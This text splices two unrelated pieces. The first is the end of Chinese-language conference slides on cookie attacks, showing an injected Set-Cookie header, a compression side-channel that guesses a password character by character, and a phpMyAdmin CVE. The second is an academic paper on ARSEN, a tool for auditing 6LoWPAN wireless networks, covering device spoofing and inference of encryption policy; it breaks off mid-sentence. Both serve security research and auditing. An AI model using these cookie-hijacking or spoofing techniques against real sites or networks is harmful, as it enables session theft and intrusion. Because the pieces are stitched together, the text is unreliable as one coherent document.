Set-­‐Cookie:  vulcookie=evil;  domain=.com;  path=/wp-­‐vul-­‐path/; 1.1.1.1 http://a.com/wp-­‐vul-­‐path http://b.com/wp-­‐vul-­‐path http://c.com/wp-­‐vul-­‐path 通用攻击:Blind  Cookie  Attack  (Safari) http://com/ https://bank.com Cookie: nickname=Bob Cookie: nickname=Password:A Hello, Password:A … Password:CaiBuDao 总长度: 1024 Cookie: nickname=Password:C Hello, Password:C … Password:CaiBuDao 猜到第一位:C Hello, Bob … Password:CaiBuDao Gzip • Cookie  BREACH phpMyAdmin(CVE-­‐2015-­‐2206) 再谈反射:Cookie  BREACH 压缩 压缩 总长度: 1023 Cookie之困,困于 • 协议本身 – 宽松的SOP、缺乏完整性约束 • 浏览器实现 – 千奇百怪 • Cookie不可信 – 检查过滤缺乏严谨,XSS/SQLi • Cookie不唯一 – 身份替换 • Cookie拆解“一个”HTTPS页面 – 页面局部劫持 • Cookie拆解“一次”HTTPS操作 – 业务流程劫持 • Cookie难以被Server清理 – 持久化攻击 • 并非Cookie而已 – 与其他攻击形式结合,BREACH/DNS Binding 离开星巴克时需要做什么? 温馨提示 正在连WIFI的童鞋,会后请务必清理电脑或手机Cookie  J 谢谢大家
pdf
Auditing 6LoWPAN Networks Using Standard Penetration Testing Tools Adam Reziouk Airbus Defence and Space [email protected] Arnaud Lebrun Airbus Defence and Space [email protected] Jonathan-Christofer Demay Airbus Defence and Space [email protected] ABSTRACT The Internet of Things is expected to be involved in the near future in all major aspects of our modern society. On that front, we argue that 6LoWPAN is a protocol that will be a dominant player as it is the only IoT-capable protocol that brings a full IP stack to the smallest devices. As evidence of this, we can highlight the fact that even the latest ZigBee Smart Energy standard is based on ZigBee IP which itself relies on 6LoWPAN, a competitor of the initial ZigBee protocol. Efficient IP-based penetration testing tools have been available to security auditors for years now. However, it is not that easy to use them in the context of a 6LoWPAN network since you need to be able to join it first. In fact, the difficult part is to associate with the underlying IEEE 802.15.4 infrastructure. Indeed, this standard already has two iterations since its release in 2003 and it provides with several possibilities regarding network topology, data transfer model and security suite. Unfortunately, there is no off-the-shelf component that provides, out of the box, with such a wide range of capabilities. Worst still, some of them deviate from the standard and can only communicate with components from the same manufacturer. In this paper, we present the ARSEN project: Advanced Routing for 6LoWPAN and Ethernet Networks. It provides security auditors with two new tools. First, a radio scanner that is capable of identifying IEEE 802.15.4 networks and their specificities, including several deviations from the standard that we encountered in actual security audits. Secondly, a border router capable of routing IPv6 frames between Ethernet and 6LoWPAN networks while adapting to the specificities identified by the scanner. The combination of both effectively allows security auditors to use available IP-based penetration testing tools on different 6LoWPAN networks. CCS Concepts • Networks➝Mobile and wireless security • Security and privacy➝Security protocols. Keywords IEEE 802.15.4; 6LoWPAN; Network Security; Wireless Security; Penetration Testing, Security Audit, Smart metering. 1. INTRODUCTION The Internet of Things (IoT) is expected to encompass all major aspects of modern societies in the near future. As of today, there already are applications in a great variety of fields, such as personal health and fitness monitoring, home and building automation, metering infrastructure, etc. It is the so-called smart approach: smart homes, smart buildings, smart cities, smart grids, smart wearables, etc. All these approaches need, at least to some extent, to rely on Low-Rate Wireless Personal Area Networks (LR-WPANs). Among them, the 6LoWPAN protocol, relying on the IEEE 802.15.4 standard, is the only one that brings a full IP stack to the smallest devices. We thus argue that it will certainly play a major role in supporting the growth of IoT technologies. Auditing a 6LoWPAN network could be perceived as an easy task: you only need to use an appropriate adapter that connects you to the network, just like you would do with a Wi-Fi network, and then, since the communications are IP-based, you could just rely on standard penetration testing tools. This view could not be further from the truth. As previously stated, the 6LoWPAN protocol relies on the IEEE 802.15.4 standard for the PHY layer and the MAC sublayer. However, the IEEE 802.15.4 standard provides IoT architects with a range of possibilities regarding network topology, data transfer model and security suite. Moreover, it has rapidly evolved since its release in 2003 [1] with already two revisions of the standard, in 2006 [2] and in 2011 [3], which are incompatible with the initial version. Consequently, to be usable in any situation, the aforementioned adapter must be able to support all of these configurations. Unfortunately, there is no off-the-shelf component that provides such a wide range of capabilities. Then, we might want to consider using a different specific adapter for each encountered 6LoWPAN network. However, from an auditing point of view, without prior access to the RF module the network relies on, this may not be an easy task either to guess the specificities of the IEEE 802.15.4 underlying infrastructure and thus to identify an appropriate adapter. That is essentially the goal of the ARSEN project or Advanced Routing for 6LoWPAN and Ethernet Networks: to provide security auditors with the means to connect to any existing 6LoWPAN networks by supporting a wide range of IEEE 802.15.4 configurations and MAC-sublayer attacks. Featured later on in this paper are the design of ARSEN tools and a typical use case. 2. REVIEW OF COMPONENTS In order to join a 6LoWPAN network, the first challenge resides in the successful association with the underlying IEEE 802.15.4 infrastructure. That is why the first component of the ARSEN project is an IEEE 802.15.4 scanner capable of identifying and inferring all the required information that is needed to forge valid IEEE 802.15.4 frames (see section 3 for details). Once associated with a particular IEEE 802.15.4 infrastructure, the second challenge resides in the successful translation of frames from the IPv6 format to the 6LoWPAN format and vice-versa. That is why the second component of the ARSEN project is a border router capable of adapting to the specificities of different IEEE 802.15.4 networks, based on the information provided by the scanner (see section 4 for details). Before digging into the details of both of these tools, we first here briefly present Scapy-radio [7], the underlying component on which they both rely. Basically, Scapy-radio [7] is a wireless packet manipulation framework not confined to a specific protocol: it can deal with multiple bands, multiple modulations, multiple bitrates and multiple types of network frames. Such versatility is achieved by combined two well-known tools: GNU Radio [8], a signal-processing development toolkit and Scapy [9], a framework already widely used by the penetration testing community. They are described hereafter. 2.1 GNU RADIO A radio communication system where the signal-capturing components are software-configurable and the signal-processing components are software-implemented is called a Software Defined Radio (SDR). GNU Radio [8] is an opensource software development kit that provides a great number of signal processing blocks to implement SDRs. While performance-critical signal-processing blocks are written using C++, GNU Radio is designed to write radio applications using Python. More specifically, radio applications can be prototyped with a graphical UI, the GNU Radio Companion (GRC). In the previous release of Scapy-radio [7], a GRC flow graph to modulate and demodulate the IEEE 802.15.4 PHY layer was already provided. Therefore, there was nothing further to be implemented on that front. 2.2 SCAPY Scapy [9] is an interactive packet manipulation framework written using Python. It can capture, decode, forge and inject packets while matching requests and replies for a broad range of network protocols. It can also handle various network tasks such as probing, scanning, tracerouting, fuzzing, etc. Because it makes it possible to quickly prototype new networking tools, it was the perfect basis on which to build both the scanner and the border router. In the previous release of Scapy-radio [7], publicly available IEEE 802.15.4 and 6LoWPAN layers were included. However, these layers were incomplete and failed to cover many possibilities offered by both standards. That is why they both have been completely rewritten from scratch in order the meet our requirements. 3. THE IEEE 802.15.4 SCANNER The role of the scanner is to maintain an IEEE 802.15.4 network database in which are stored and organized every captured frames as well as all the information it has been able to infer from. At the end of a scan, the user is provided with all the determining information which, when combined together, should let him know about: Which devices are running on a given channel; Which devices are communicating with each other; Which types of frames are exchanged between devices (and the parameters that are used to transmit these frames); To that end, the network database is used to maintain a list of devices the scanner was able to detect. For each device, the following attributes are stored: id, several addressing information, parameters related to the device type and a list of recipients. A recipient is a device which has been receiving one or more frames from an originator. Similarly, for each recipient, the following attributes are stored: the id of the corresponding device and a list of transmissions. A transmission is a set of parameters describing the type of the frame and the mechanism by which it has been sent by the originator device, a frame counter, and a buffer in which are stored every frame sent with the same unique parameters. Figure 1 is showing diagrams summarizing the relational model used to store information within the database. Figure 1. The relational model of the IEEE 802.15.4 database In the next subsections, we focus on describing each key element the scanner is intended to retrieve, how the scanner is actually retrieving this information and how it could be useful for a security auditor. It is worth noting that for each following section, when talking about captured frames, we excluded the acknowledgement frames. 3.1 DEVICES THAT ARE RUNNING ON A GIVEN CHANNEL For the scanner, the very first step is to detect a maximum of devices running on the given IEEE 802.15.4 channel by analyzing captured frames using several approaches that are described hereafter. Device +id: integer +addr16: integer +addr64: integer +panid: integer +coord: bool +pancoord: bool +beacon_enabled: bool +recipients: List of Recipient instances Device +id: integer +addr16: integer +addr64: integer +panid: integer +coord: bool +pancoord: bool +beacon_enabled: bool +recipients: List of Recipient instances NetworkDataBase +devices: List of Device instances Device +id: integer +addr16: integer +addr64: integer +panid: integer +coord: bool +pancoord: bool +beacon_enabled: bool +recipients: List of Recipient instances Recipient +device_id: integer +transmissions: List of Transmission instances Recipient +device_id: integer +transmissions: List of Transmission instances Device +id: integer +addr16: integer +addr64: integer +panid: integer +coord: bool +pancoord: bool +beacon_enabled: bool +recipients: List of Recipient instances Recipient +device_id: integer +transmissions: List of Transmission instances Transmission +frame_type: integer +frame_subtype: integer +security_enabled: bool +security_level: integer +version: integer +srcaddrmode: integer +destaddrmode: integer +transmission_scheme: integer +timing_information: timing info about transfer +frame_counter: integer +packets_buffer: List of packets (scapy instances) Transmission +frame_type: integer +frame_subtype: integer +security_enabled: bool +security_level: integer +version: integer +srcaddrmode: integer +destaddrmode: integer +transmission_scheme: integer +timing_information: timing info about transfer +frame_counter: integer +packets_buffer: List of packets (scapy instances) Recipient +device_id: integer +transmissions: List of Transmission instances Transmission +frame_type: integer +frame_subtype: integer +security_enabled: bool +security_level: integer +version: integer +srcaddrmode: integer +destaddrmode: integer +transmission_scheme: integer +timing_information: timing info about transfer +frame_counter: integer +packets_buffer: List of packets (scapy instances) 3.1.1 THE ORIGINATOR The scanner checks if it can find in the database a device sharing the same addressing information than the source addressing information of the captured frame. Note that addressing information includes the source PANId and, depending of the source address mode, the source address. When source address is missing, that means that the frame has originated from the PAN Coordinator. In this case, rather than looking for a device using its address and its PANId as an entry key, the database is requested to look for a PAN coordinator with a given PANId. If such device does not exist, a new one is registered with the appropriate information: either the couple PANId/Address or the couple PANId/PAN-Coordinator. In addition, depending on the frame type, several others information may be specified. In fact, when captured frame is a beacon, it is possible to infer the nature of the originator (PAN coordinator or coordinator) and the beacon interval if the network is a beacon-enabled one. If such device is found, it may be updated with additional potential inferred information such as the long address, the short address and the nature of the device. 3.1.2 THE RECIPIENT Note that with this approach, beacons are excluded because they do not carry any useful information for that step. The scanner checks if it can find in the database a device sharing the same addressing information than the destination addressing information of the captured frame. It is worth mentioning that addressing information includes the destination PANId and, depending of the destination address mode, the destination address. When destination address is missing, that means that the frame is directed to the PAN Coordinator. In this case, rather than looking for a device using its address and its PANId as an entry key, the database is requested to look for a PAN coordinator with a given PANId. If such device does not exist, a new one is registered by the tool with the appropriate information: either the couple PANId/Address or the couple PANId/PAN-Coordinator. If such device is found, it may be updated with additional potential inferred information such as the long address, the short address and the nature of the device. 3.1.3 THE BEACONS How the transfers are implemented depends on the network support for the transmission of beacons. A beacon-enabled PAN is used when synchronization or low-latency is required. When that is not the case, a network may not use beacons for normal transfers, but they are still required for network discovery. That is why they can be useful to gather information on a specific PAN. 3.1.3.1 THE GUARANTEED TIME SLOTS In a beaconing network, devices may request the PAN coordinator for the allocation of a Guaranteed Time Slot (GTS). A device can infer that it actually owns a GTS if its address is contained in the GTS fields of the periodic beacons. The scanner is able to recover the addresses of the GTS owners by simply reading the corresponding fields of the captured beacons. The PANId of each GTS owner is inferred from the beaconing coordinator’s PANId. Both the addresses and the PANId being retrieved, the scanner can register the new devices in the database. If a device is already registered in the database, the scanner does nothing. It is worth noting that, such a mechanism cannot be processed by the scanner if beacon payloads are encrypted. 3.1.3.2 THE PENDING ADDRESSES When a coordinator wishes to transfer data to a device in a beacon-enabled PAN, it may use three types of transmission models and among them the indirect one. In an indirect transmission scheme, the coordinator maintains in its periodic beacons a list of device addresses for which data are pending, and wait for the corresponding devices to request the data. The scanner takes advantage of this feature to infer the presence of devices on the network. Each time a beacon is captured, the pending addresses field is read and new devices can be registered in the database. Note that for each discovered address, the PANId is inferred from the corresponding coordinator PANId. If a device is already registered in the database, the scanner does nothing. 3.1.4 THE ASSOCIATION PROCEDURE Each IEEE 802.15.4 device owns a unique 64-bit extended address but a 16-bit short address may also be allocated by the coordinator when the device associates. Both of these two addresses may be used for transmission within the network. However, there is no way to make the connection between the short address and the long address owned by a single device, except when capturing an association procedure. In fact, during such procedure, the device asks the coordinator to associate with the PAN and, optionally, requests a short address. If the coordinator was able to associate the device to its PAN and allocate a short address, it will reply with an association response command frame that contains the allocated short address. 3.1.4.1 DEVICE ADDRESSES As the IEEE 802.15.4 standard states that the coordinator shall use the 64-bit extended address of the device requesting for association as the destination address of its association response frame, the scanner is able to retrieve, by simply reading the corresponding fields of this frame, both the short and the long address the device owns. The two addresses being retrieved, the scanner checks whether or not the discovered device had already been registered in the database as two distinct device instances, one with the short address and the other with the long address. In such a case, it simply merges the two instances. If the scanner can only find in the database a single registered device instance in which only one of the two retrieved addresses are known, it feeds it with the other. If no devices are found, it simply instantiates a new one with the two addresses it just retrieved. Finally, if the scanner finds a device in which both the short and the address are known, it does nothing. 3.1.4.2 COORDINATOR ADDRESSES When sending beacons, a coordinator may choose between its short and its long address as a source address. When sending data or command frames, it may use another addressing mode than it actually uses for beacon transmission. The coordinator association response command is part of the association procedure and informs the device wishing to join the PAN whether or not its request has been accepted. When capturing such a frame, if the scanner identifies that the source addressing mode is not the same as the one used for beacons, it can make the connection between the long and the short address owned by the coordinator. The database is then updated accordingly. The two addresses being retrieved, the scanner checks whether or not the coordinator had already been registered in the database as two distinct device instances, one with the short address and the other with the long address. In such a case, it simply merges the two instances. If the scanner only find in the database a single registered device instance in which only one of the two retrieved addresses are known, it feeds it with the other. Finally, if the scanner finds a device in which both the short and the address are known, it does nothing. 3.2 DEVICES THAT ARE COMMUNICATING WITH EACH OTHER Being aware of each pair of devices communicating on the network can be very useful, especially when spoofing devices. Moreover, from this information, the network topology may be retrieved. For each captured frame in which the frame-type subfield does not specify an acknowledgment or a beacon frame, the scanner retrieves information about the originator and the expected recipient by analyzing both the source and the destination addressing fields. After ensuring both devices were registered in the database, the receiving device is, if that is not already the case, stored as a recipient in the originator instance. The mechanism by which the transmission parameters are stored is detailed in next section. 3.3 TYPES OF FRAMES THAT ARE EXCHANGED BETWEEN DEVICES In this section, we focus on describing the transmission parameters that can be inferred from captured frames: Frame type and subtype; Addressing modes; Data transmission model; IEEE 802.15.4 standard version; Security policy; For each captured frame in which the frame-type subfield does not specify an acknowledgment or a beacon frame, the scanner stores in the database the parameters used by the originator to transmit the frame. This is achieved by instantiating a transmission object and adding it to the recipient of the corresponding originator instance. A transmission object contains a list of parameters, a frame counter and a buffer in which are stored every captured frames that have been sent with these parameters. When dealing with a captured frame, is the scanner identifies that in the database the pair originator/recipient already exists and, that the transmission parameters are already known, it does not create a new transmission instance but rather increments the counter of the corresponding instance and stores the packet in the buffer. Moreover, for each captured frame, the scanner first checks if both originator and recipient devices exist and instantiate them otherwise. It is worth noting that, most part of the parameters listed below can be retrieved regardless of the use of security. However, when guessing the security policy which has been used to secure a captured frame, the scanner requires the user to provide an encryption key. 3.3.1 FRAME-TYPE AND SUBTYPE Knowing about each frame-type (and subtype when it is a command frame) a device has been able to send/receive during the scan can give clues about how important are devices. Also, it can help an auditor to choose which device to spoof when wishing to send a specific frame- type/subtype to a given recipient, ensuring a normal behavior. The scanner retrieves the frame-type and, when necessary, the frame-subtype by simply reading the corresponding fields of the given frame. 3.3.2 ADDRESSING MODES To be sure an outgoing frame would not be rejected by a device because of the use of an improper addressing mode, it is interesting to retrieve, for each captured frame, which addressing modes have been used. Thus, the auditor would know which source and destination addressing modes to use in order to send a secured data frame to device B, while mimicking device A. As for the frame-type and subtype, the scanner retrieves both source and destination addressing information by simply reading the corresponding fields of the given frame. 3.3.3 DATA TRANSMISSION MODEL Depending on the network’s ability of transmitting periodic beacons (beacon-enabled PAN) and on device types, numerous transfer models can be used by devices to transfer data frames. Retrieving the mechanism by which each pair of devices communicates can guide the auditor in his choice of a transfer scheme when trying to send data to a given device. The available transfer models are described hereafter. 3.3.3.1 BEACON-ENABLED PAN 3.3.3.1.1 DEVICE TO COORDINATOR (OR PAN COORDINATOR) If the device has been allocated a transmission Guaranteed Time Slot (GTS) by the coordinator, then it will directly transmit the data frame during its reserved slot during the Contention Free Period (CFP). The scanner always stores the last captured beacon. When a data frame is received and is directed to the beaconing coordinator, it checks in the GTS subfield of the beacon MAC field if a GTS is actually allocated to the originator device. If so, the scanner infers that the given frame has been sent according to a GTS scheme. It is worth noting that, however, even if a device owns a transmission GTS, it still can send its data frame using direct transmission during the Contention Access Period (CAP). Having said that, this information is still available and ensures the user that, by following a GTS transmission model, the frame he wants to send will not be rejected. Moreover, in order to let the user know which slot(s) the originator owns, the scanner stores the following timing information: beacon order, superframe order, final CAP slot as well as the GTS starting slot and the GTS length of the corresponding device, everything being available in the beacon. When no transmission GTS has been found for the originator in the GTS field of the beacon frame, in a direct transmission scheme, the device wishing to send data to its coordinator will first synchronize with beacons and then send its frame during the Contention Access Period (CAP). 3.3.3.1.2 COORDINATOR (OR PAN COORDINATOR) TO DEVICE If the recipient device had previously been allocated a GTS for reception by the coordinator, then the coordinator will thus directly transmit its data frame during the corresponding slot(s). When a data frame is received and has originated from the beaconing coordinator, the scanner checks in the GTS subfield of the most recent beacon’s MAC field if a GTS is actually allocated to the recipient device. If so, the scanner infers that the captured frame has been sent according to a GTS scheme. This information ensures the user that, by following a GTS transmission model, the frame he wants to send will not be rejected by the recipient. Note that, however, even if a device owns a reception GTS, a coordinator can still send data to it using direct transmission. In this scenario, the scanner stores timing-related information to situate the exact position of the slot(s) the device owns. This information are: beacon order, superframe order, final CAP slot as well as the GTS starting slot and the GTS length of the corresponding device, everything being available in the beacon. In this case, the coordinator indicates in its periodic beacons that data are pending. The target device then requests the pending data by sending a MAC data request command. Finally, the coordinator sends the data frame during the CAP. For each captured data frame, the scanner can infer that an indirect transmission scheme has been used if the recipient has been sending a data request command just before receiving the data frame. When neither the GTS transmission mechanism nor the indirect transmission mechanism has been identified, the coordinator will send its frame directly during the CAP. 3.3.3.2 NONBEACON-ENABLED PAN 3.3.3.2.1 DEVICE TO COORDINATOR (OR PAN COORDINATOR) In a nonbeacon-enabled PAN, devices have no choice but to directly send their data frames to their coordinators. Thus, there is no need to compute anything. 3.3.3.2.2 COORDINATOR (OR PAN COORDINATOR) TO DEVICE Just as in a beacon-enabled PAN, the coordinator stores the message it wants to send and waits for the concerned device to request the data. However, in this case, the coordinator is not sending any beacons and thus cannot indicate that data are pending. This is the device itself which, at a software defined rate, sends data request commands. On reception of such a command and if data are actually pending for the requesting device, then the coordinator first sends an acknowledgment in which the frame pending bit is set to one and then sends the data frame. For each captured data frame, the scanner can infer that an indirect transmission scheme has been used if the recipient has been sending a data request command just before receiving the data frame. When the indirect transmission mechanism has not been identified, then the coordinator directly sends its data frame to the recipient device 3.3.4 VERSION OF THE IEEE 802.15.4 STANDARD Since its initial release in 2003, the IEEE 802.15.4 standard has been revised two times. In this project, we only focused on the 2003 and the 2006 versions of the standard as the 2011 version does not affect any features we implemented in the scanner. Thus, from the scanner point of view, there are only two possibilities: 2003 and 2006 or higher. Moreover, the IEEE 802.15.4-2006 standard states that, excluding two minor cases, all unsecured frames are compatible with IEEE 802.15.4-2003 standard. However, it also stipulates that secured frames are differently formatted and thus incompatible. When this is the case, a 2-bit field called frame-version is set to 0x1 in the corresponding frame. Thus, when dealing with such version-specific frames, the auditor needs to infer the version of the standard they are compliant with before trying to manipulate them. On that aspect, the scanner retrieves, when necessary (i.e., when security is enabled), the frame version simply by reading the corresponding fields of the given frame. 3.3.5 SECURITY POLICY As explained before, depending on the standard version the secured frames are compliant with, they are formatted in a different manner. In this section we first describe here the low-level security mechanism for both 2003 and 2006 versions of the standard and then we explain how the scanner can, to a certain extent, infer the security policy which has been used by the originator to secure each captured frame. 3.3.5.1 IEEE 802.15.4-2003 SECURITY POLICIES In IEEE 802.15.4-2003 standard, frames can be secured according to three transformation processes: CTR, CBC-MAC or CCM. CCM is block cipher mode combining the CTR encryption mode with the CBC-MAC authentication mode, providing both encryption and authentication. As for the IEEE 802.15.4 standard, the block cipher shall be the advanced encryption standard (AES)-128. CBC-MAC and CCM can be leveraged such as they can provide each one three levels of data authenticity (MIC-32, MIC-64 or MIC-128). While CBC-MAC provides nothing but authenticity, CTR and CCM always provide confidentiality. In all, IEEE 802.15.4-2003 standard provides seven security levels to protect frames. Contrary to the IEEE 802.15.4 standard, secured frames compliant with the IEEE 802.15.4-2003 standard do not include in their header any information about which security protection has been processed by the originator. Thus, devices must know in advance which security policies are used by all devices. CTR and CCM require a 13-octets sized nonce to perform security. It is formatted as the combination of the extended source address, the frame counter and the key sequence counter, a counter which can be used, for instance, when the frame counter is exhausted. Of course, both the originator and the recipient devices shall use the same nonce. Thus, each outgoing secured frames shall include in their header the frame counter and the key sequence counter formerly used by the originator to secure the frame. 3.3.5.2 IEEE 802.15.4-2006 SECURITY POLICIES The IEEE 802.15.4-2006 standard states that frames shall be secured according to the transformation process known as CCM*. It is a generic combined encryption and authentication bloc cipher mode. The standard also specifies that the block cipher to be used is the advanced encryption standard (AES)-128. CCM* can be leveraged such as it can provide up to seven kind of frame protection, allowing for varying levels of data authenticity and for optional data confidentiality. In order to the recipient device to know which unsecuring process to perform, all outgoing secured frames shall provide in their header the proper security level used by the originator to protect the frame. CCM* also requires a nonce to process security. The nonce is a 13-octets string and is formatted as the combination of the extended source address, the frame counter and the security level. As for the security level, each outgoing secured frame shall provide in its header the frame counter which has been used by the originator during the securing process. Note that the extended addresses do not have to be included in secured frames because they may have been retrieved by recipient devices in previous transfers, making them able to infer the extended addresses from the short ones. 3.3.5.3 SECURITY POLICY IDENTIFICATION As explained before, in the IEEE 802.15.4-2006 standard, the security policy used for protecting a frame is indicated in the header of the concerned frame through the value of the security level field. Thus, when dealing with such frames, the scanner just have to read the corresponding field to retrieve the security policy. The security level is then added as a parameter in the corresponding transmission instance. As for the IEEE 802.15.4-2003 standard, security level by which a frame has been secured is not provided to the recipient. In fact, the device shall know in advance which unsecuring process to use. When such a frame is captured, the scanner does nothing but storing the frame in the database, either in an appropriate existing transmission instance or in a new one. However, at the end of a scan, if requested by the user, the scanner will try to unsecure the frames for transmission instances that specify that security was enabled. If appropriate, the scanner will also try to guess the security policy in the process. The steps used to unsecure frames are the following: The scanner first asks the user to provide an encryption key. Then, it tries to unsecure the buffered frames (a maximum number can be defined by user), using every security policy of the IEEE 802.15.4-2003 standard if the frame-version parameter specifies an IEEE 802.15.4-2003 frame or using the single IEEE 802.15.4-2006 security policy specified by the value of the security-level parameter stored during the scan. When a decrypted payload appears to be a valid one (either the header of a valid higher layer protocol is recognized or a low entropy is computed), and/or a MIC can be recovered, a parameter called security-found is set to true in the transmission instance. If the frame-version parameter of the transmission instance specifies IEEE 802.15.4-2003 frames, the retrieved security-level is also added as a parameter. For both frame-versions, if the security policy could not have been found, the security-found parameter shall be set to false. 3.3.5.4 SECURITY POLICY DEVIATION We argue here that, because when a PAN is designed usually all the network components rely on the same hardware and software, it makes it possible for a deviation from the standard to slip through and stay unnoticed for as long as it does not disrupt availability and efficiency. This is even true when multiple PANs are connected to a grid since the border routers used for interconnection are likely to rely on the same faulty components. Usually, they are unintentional mistakes affecting low-level security mechanisms. Sometimes, they originate from a mix-up between different revisions of the standard. The scanner can detect a number of deviations (based on actual deviations we observed during several security audits). When the security policy of a transmission instance cannot be identified, the user may request the scanner to look for any of the deviations it supports. They are listed at the end of this subsection (they are all identified by a unique id by the scanner). A user can choose one or several deviations he wants the scanner to look for. Moreover, as a network may include several deviations, the user should also configure the number of simultaneous deviations the scanner is intended to look for. At the end of this process, taking into account the deviations the user requested the scanner to check, if a payload appears to be a valid one, the security policy is considered to be found and the corresponding transmission instance is updated with both the ids of the discovered deviations and the setting of the security-found attribute to true. However, if the security policy could not have been retrieved, no parameters are added in the corresponding instance (the security-found attribute already set to false). Deviations regarding the IEEE 802.15.4-2003 standard (CTR) The nonce used is the 2006 standard’s one (Source Address + Frame Counter + Security level rather than Source Address + Frame Counter + Key Sequence Counter). (CTR) Flag octets of input blocks are not set to 0b10000010 but to another value; (CTR) The first block counter used for encryption is equal to 0x0001 and not 0x0000; (CBC-MAC) Tag T is obtained by keeping the rightmost M bytes of the last computed CBC-MAC value rather than the leftmost M bytes; (CBC-MAC) The length field of the first input block used to generate the key streams is not equal to (n + m) but to (n + m + 1); (CCM Authentication) The nonce used is the 2006 standard’s one; (CCM Authentication) Flag octet of the first input block B0 is not set to the value specified in the standard; (CCM Authentication) The string encoding the additional string a is formed by concatenating l(a) (the length in octet of a) within 2 octets with a itself, but is not padded with zeros so that its length is divisible by 16; (CCM Authentication) The authentication tag T is not obtained by keeping the first-M-octet of the last output block but by keeping the last M-octet; (CCM Encryption) The nonce used is the 2006 standard’s one; (CCM Encryption) Flag octet of the input counter blocks is not formatted as specified in the standard; (CCM Encryption) First counter block used to generate the first key stream block (to encrypt/decrypt message) is not A1 but A0; (CCM Encryption) Encrypted tag U is generated by XORing the authentication tag T with the last key stream blocks (Sn) rather than the first key stream blocks (S0); (CCM Encryption) Encrypted tag U is generated by XORing the authentication tag T with the key stream blocks S1 rather than S0; Deviation regarding the IEEE 802.15.4-2006 standard (CCM*) Security policy is not the same as indicated in the auxiliary security header; (CCM*) When transforming inputs before performing the CCM* mechanism, the encoded a data is not right-concatenated with zeros so that the octet string has length divisible by 16; (CCM* Authentication) Flag octet of the first input block B0 is not set to the value specify in the standard; (CCM* Authentication) Tag T is obtained by keeping the rightmost M bytes of the last computed CBC-MAC value rather than the leftmost M bytes; (CCM* Encryption) Flag octets of the input counter blocks are not formatted as specified in the standard; (CCM* Encryption) The counter block used to generate the first key stream block (to encrypt/decrypt message) is not A1 but A0; (CCM* Encryption) Encrypted tag U is generated by XORing the authentication tag T with the last key stream blocks (Sn) rather than the first key stream blocks (S0); (CCM* Encryption) Encrypted tag U is generated by XORing the authentication tag T with the key stream blocks S1 rather than S0; Deviation regarding the version of the standard itself The Frame version subfield of the frame specifies a 2006 frame but is a 2003 one; The Frame version subfield of the frame specifies a 2003 frame but is a 2006 one; The frame is a 2003-frame but is secured with a 2006 standard’s security policy; The frame is a 2006-frame but is secured with a 2003 standard’s security policy; 4. THE 6LOWPAN BORDER ROUTER The role of the border router is to translate incoming and outgoing frames from and to the 6LoWPAN format. Moreover, it must be able to do so while adapting to the specificities of the underlying IEEE 802.15.4 infrastructure. In the following sections, we assume that such specificities are provided by the IEEE 802.15.4 scanner but that is not a mandatory step: it might as well be manually provided based on some other source of information. 4.1 IEEE 802.15.4 AND 6LOWPAN 6LoWPAN is an IPv6-based low-power wireless personal area network which is composed of devices compliant with the IEEE 802.15.4 standard. Before ensuring IPv6 transmission over such a wireless protocol, several issues need to be solved, and among them the very limited size of IEEE 802.15.4 packets. Indeed, while the MAC MTU size of an IEEE 802.15.4 packet is 127, the MTU size of an IPv6 packet is 1280. Adding a maximum frame overhead of 25 bytes leaves only 102 bytes available for handling IPv6. Moreover, the use of security introduces further overhead, up to 21 bytes in IEEE 802.15.4-2003 and up to 30 bytes in IEEE 802.15.4-2006. Furthermore, as the IPv6 header is 40 octets long, the remains payload for higher protocol such as UDP and TCP are very limited. To solve the exposed issues, an adaptation layer has been specified between the MAC layer and the IP network layer and is part of the 6LoWPAN protocol. It handles both fragmentation and reassembly of IPv6 packets, while providing a header compression scheme to reduce the size of the IPv6 header and, when necessary, the UDP header. Also, as described later, the specification supports mesh routing mechanisms. 4.2 VIRTUAL NETWORK INTERFACE To allow communications between our border router and the host, we used a virtual network kernel device known as TUN. It operates on layer 3 and delivers all the packets sent by an operating system to attached user-space programs. Conversely, user-space packets passed to the TUN are forwarded to the operating system. Actually, our router has been implemented as a user-space program while the operating system represents the IP-based tools a security auditor would use (nmap, telnet, ping, etc.). Thus, in the operating system point of view, our tool is considered as an external source. As TUN interfaces operate on layer 3, only the IPv6 layer of packets are forwarded, allowing our tool to not care about Ethernet. It thus does not have to deal with MAC addresses when communicating with the host. Note that it still needs an IEEE 802.15.4 MAC address to communicate with the wireless network. 4.3 NETWORK CONFIGURATION In this section we just provide details about how the router’s addressing information are handled when wishing to transmit frame over the air. We assume that the user would like to either spoof an existing device or act as a third device on the network. In the former case, the user will be invited to enter both an IPv6 address and a link-layer address (a 16-bit short address and/or a 64-bit extended address). It is worth noting that, some established network will not allow a new device to communicate on the PAN if not associated. To solve this issue, we implemented a procedure which handles association procedure within a PAN. However, as a PAN could maintain a kind of ACL, it is possible that association procedures will be rejected. In this case, we advise the user to user the spoofing method. In the latter case, namely the spoofing method, user will be requested by the router to provide both the IPv6 address and at least one link layer address of the existing device he wants to spoof. To ensure efficient communications within the network, we also recommend the user to use the IEEE 802.15.4 scanner we developed in order to configure the router such as it uses the proper transmission scheme as well as the proper security policy. Note that for the security policy, the user will be requested by the scanner to provide one or several encryption key for each pair of devices communicating on the network. Please refer to section 4.4.4 to know how to deal with recipient link layer addressing information. 4.4 IPV6 TO 6LOWPAN Here we explain how incoming IPv6 packets are handled by the router before being transmitted over the air. 4.4.1 IPV6 HEADER COMPRESSION PDU size of an incoming IPv6 packet is checked to ensure it is not greater than the MTU size of IEEE 802.15.4 packets. If it exceeds this limit, the IPv6 header is compressed following the encoding scheme specified in the RFC 6282. The result is known as the LOWPAN_IPHC, a 13-bit field IPv6 compressed header. This field is always preceded by a 5-octets flag indicating that the following field is actually the LOWPAN_IPHC field itself. By relying on several common rules, the encoding mechanism tries to elide, either literally or partially, the IPv6 header fields which can be inferred by the recipient device. Each field that could not have been elided is carried in-line right after the LOWPAN_IPHC header, either in a compressed form if it has been partially elided or literally. Note that, in this case, they appear in the same order as they do in the uncompressed IPv6 header. The rules that the encoding mechanism relies on are assumed to be common on the 6LoWPAN network and are listed below: Version is 6; Traffic class and Flow label are both zero; Payload length can be inferred from lower layers; Hop limit is set to a well-known value (1,64 or 255); IPv6 addresses are formatted using the link-local prefix or a small set of well-known routable prefixes; IPv6 addresses are partly constructed from either the 64-bit extended or the 16-bit short IEEE 802.15.4 addresses; When Multicast IPv6 addresses are used, a special scheme is to be performed. A multicast address is formatted as the combination of an all ‘1’ 8-bit prefix, indicating that the address is actually a multicast address, a 4-bit flag field, giving multiple information about the address, a 